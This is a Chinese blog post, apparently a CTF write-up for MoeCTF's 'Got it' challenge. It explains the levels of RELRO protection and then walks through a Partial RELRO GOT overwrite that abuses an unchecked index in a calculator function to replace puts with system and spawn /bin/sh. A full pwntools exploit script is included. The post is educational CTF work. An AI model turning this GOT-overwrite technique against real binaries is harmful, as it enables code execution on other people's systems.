Partial_RELRO_got it

本文最后更新于 2024年10月9日 上午

Partial_RELRO_got it

RELRO

RELRO保护有三种形式

Partial_RELRO

一些段(包括.dynamic,.got等)在初始化后会被标记为只读,并没有包括got表,简单来说就是got可写

Full RELRO

除了Partial RELRO,延迟绑定将被禁止,所有的导入符号将在开始时被解析,.got.plt段会被完全初始化为目标函数的最终地址,并被mprotect标记为只读,但其实.got.plt会被直接合并到.got,也就看不到这段了。另外link_map和_dl_runtime_reolve的地址也不会被装入。简单来说就是所有段不可写

not RELRO

没有开启保护,所有段基本都可写

题目_MoeCTF_Got_it

这个题目被设计的很巧妙,我们来分析一下

vlun函数

这个函数很简单,输入三个不同的数执行不同的程序

当输入的数是3时,说会给我们一个礼物,这确实是一个礼物,是后面的解题的关键

calc函数

这是一个简单的计算器函数,一开始输入要对哪一个仓库进行操作,但是没有输入限制,存在溢出漏洞,我们可以溢出save区域的地方进行操作

并且v3的数据类型是__int64,是一个非常大的数据类型,再结合上面vuln函数中有一个puts(save),那么思路就很明显了,就是把puts的got表该有system,在save中输入/bin/sh

错误思路

可以看到save距离got表的距离并不远,我一开始想直接输入负数,往上溢出,但后来发现不行,可能与scanf读入的是无符号数有关

save距离puts_got表的距离是-16()(0x4080-0x4000)/8)

那我们输入试试

可以看到now_save存入了0x555d55558000

但是put_got表的位置是0x555555558000,很明显是失败了

正解

改写got表

既然不能往上溢出那就只能往下了

我们知道计算机的原理是把要操作的位置的地址存入now_save中,再进行操作

而now_save刚好就在save的下方,那么,如果我们在now_save的位置存入now_save的地址,那不久可以对now_save的内容进行加减乘除了吗?now_save到puts_got表的距离是固定的,也就是说我们可以通过加减,从而让now_save的内容从它本身变成puts_got表的地址

1
2
3
4
5
6
7
io.recvuntil("Which archive do you want to use?")
io.sendline('16') //save到now_save的偏移
io.recvuntil("> ")
io.sendline('2')
io.recvuntil("Operand: ")
io.sendline('256') //now_save到puts_got的偏移
io.recvuntil("> ")

可以看到此时now_save存的是他本身的地址

这时存的已经是puts_got表的地址了

那么我们再来一次就可以把puts_got表的内容改成system的libc地址

这里的知识点是libc里函数之间的偏移是固定的,知道一个地址就可以通过加上某个偏移得到另一个地址

1
2
3
4
5
6
io.recvuntil("> ")
io.sendline('2')
offest=str(libc.sym['puts']-libc.sym['system'])
io.recvuntil("Operand: ")
io.sendline(offest)
io.recvuntil("> ")

可以看到此时puts_got表指向的地址已经变成了system

输入/bin/sh

这一步较为简单,唯一要注意的就是这是个小端程序,字符串要反着输入

1
2
3
4
5
6
7
8
9
10
io.recvuntil("3. Exit\n")
io.sendline('1')
io.recvuntil("Which archive do you want to use?")
io.sendline('0')
io.recvuntil("> ")
io.sendline('1')
io.recvuntil("Operand: ")
io.sendline('29400045130965551')
io.recvuntil("> ")
io.sendline('5')

我个人推荐这一步可以放在改got表的前面进行

最后在返回vuln函数的puts(save)即可getshell

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
io=process('./pwn')
#io=remote('127.0.0.1','36639')
libc=ELF('./libc-1.so.6')
gdb.attach(io)

io.recvuntil("3. Exit\n")
io.sendline('1')
io.recvuntil("Which archive do you want to use?")
io.sendline('0')
io.recvuntil("> ")
io.sendline('1')
io.recvuntil("Operand: ")
io.sendline('29400045130965551')
io.recvuntil("> ")
io.sendline('5')
io.recvuntil("3. Exit\n")
io.sendline('1')
io.recvuntil("Which archive do you want to use?")
io.sendline('16')
io.recvuntil("> ")
io.sendline('2')
io.recvuntil("Operand: ")
io.sendline('256')
io.recvuntil("> ")
io.sendline('2')
offest=str(libc.sym['puts']-libc.sym['system'])
io.recvuntil("Operand: ")
io.sendline(offest)
io.recvuntil("> ")
io.sendline('5')
io.sendline('3')
io.interactive()
pause()

Partial_RELRO_got it
http://example.com/2024/10/01/Partial_RELRO_got/
作者
清风
发布于
2024年10月1日
许可协议